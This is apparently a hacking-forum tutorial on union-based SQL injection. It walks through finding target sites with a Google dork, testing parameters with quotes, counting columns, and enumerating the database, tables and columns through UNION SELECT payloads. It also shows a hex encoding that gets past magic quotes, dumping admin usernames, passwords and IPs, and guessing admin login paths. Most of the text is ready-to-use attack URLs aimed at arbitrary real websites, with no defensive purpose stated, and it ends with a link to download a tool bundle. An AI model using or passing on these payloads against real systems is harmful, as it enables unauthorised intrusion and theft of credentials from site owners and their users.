[noize]

I had learnt about SQLi from different websites and different stuff and also from this forum.
e. g. I found about Admin Finder (you will find about it in the tutorial) from a thread by Solixious (if i'm not wrong); so I don't claim all rights. anyway this I wrote by myself.
-------------------------------

HOW TO SQL INJECT. (SQL5 injection)

1. Find possibly vulnerable pages:
Search on Google: inurl:page.php?id=
2. Type instead of http://www.website.com/page.php?id=1
http://www.website.com/page.php?id=1'
OR
http://www.website.com/page.php?id='1
Basically add a ' first or after the 1.
3. If returns an error about SQL means it's vulnerable to SQL injection.
4. Query:
http://www.website.com/page.php?id=1 ORDER BY 1--
http://www.website.com/page.php?id=1 ORDER BY 2--
http://www.website.com/page.php?id=1 ORDER BY 3--
http://www.website.com/page.php?id=1 ORDER BY 4--
http://www.website.com/page.php?id=1 ORDER BY 5--
Until returns an error
http://www.website.com/page.php?id=1 ORDER BY 6-- <--- ERROR: means it has 5 columns.
5. To find the vulnerable columns:
http://www.website.com/page.php?id=-1 UNION SELECT 1,2,3,4,5--
Note: there's a null(-) before the 1
Let's say we found vulnerable 3rd column.
6. Find the SQL version used: (need to know to inject)
http://www.website.com/page.php?id=-1 UNION SELECT 1,2,@@version,4,5--
And if it does not display SQL version, let's use this query:
http://www.website.com/page.php?id=-1 UNION SELECT 1,2,unhex(hex(@@version)),4,5--
Note: if using this second one query we've got to use this for the whole attack.
Found SQL 5 (if different version these codes may not work)
7. Find the database name.
EITHER THIS:
http://www.website.com/page.php?id=-1 UNION SELECT 1,2,group_concat(schema_name),4,5 from information_schema.schemata--
OR THIS:
http://www.website.com/page.php?id=-1 UNION SELECT 1,2,concat(database()),4,5--
Found the database name. You shall sign it somewhere as it will be needed later. Let's say we found a database called "my_db".
8. Finding the table names:
http://www.website.com/page.php?id=-1 UNION SELECT 1,2,group_concat(table_name),4,5 FROM information_schema.tables WHERE table_schema=database()--
The above query shows only first 1024 characters. Limit is bypassable with this query:
http://www.website.com/page.php?id=-1 UNION SELECT 1,2,table_name,4,5 FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1--
This shows only the first table. To see (for example) the 31st table we should do:
http://www.website.com/page.php?id=-1 UNION SELECT 1,2,table_name,4,5 FROM information_schema.tables WHERE table_schema=database() LIMIT 30,1--
9. Now choose a table name; let's say we're using a table called "Admin".
http://www.website.com/page.php?id=-1 UNION SELECT 1,2,group_concat(column_name),4,5 FROM information_schema.columns WHERE table_name="Admin"--
This will either show a list of all columns within the table or prompt an error message. What it means is that Magic Quotes is turned on.
How to bypass this:
- Copy the table name;
- Go to http://www.swingnote.com/tools/texttohex.php;
- Paste the table name in the "Say Hello To My Little Friend" box and convert it to hex;
- Now that you've got the hexadecimal code of your table remove the quotes in the query, and paste 0x=THEHEXCHARS like this (this hex is for "Admin"):
http://www.website.com/page.php?id=-1 UNION SELECT 1,2,group_concat(column_name),4,5 FROM information_schema.columns WHERE table_name=0x41646d696e--
Note: we added a 0x before the hexadecimal number.
10.Now we'll say we found the columns username, password and ip (even if there are more, you don't need to use all columns and you can even change the order of columns in the following query).
http://www.website.com/page.php?id=-1 UNION SELECT 1,2,group_concat(username,0x3a,password,0x3a,ip),4,5 FROM my_db.Admin--
Note: my_db was the database name we found.
Note: if you used the hex code you now take it back to text and if you didn't you take away the quotes.
Note: 0x3a is not a code you need for each column (in fact there are 2 per 3 columns), it's just the hexadecimal code for a colon, which will help you by dividing the results.
11.Done.
You now have the informations you want, including the admin ones.
If you need to find the admin login you could try with:
http://website.com/login.php or /admin.php or /admin or /mod or /moderator or /panel or /modlogin or /adminlogin or something like that.
If you do not find it you can download Admin Finder by Reiluke, which looks for the admin login page using a full list of possibilities. Very high chance of success.
----------------------------------------
Download link:
http://trythis00011.altervista.org/SQLi_Tutorial.zip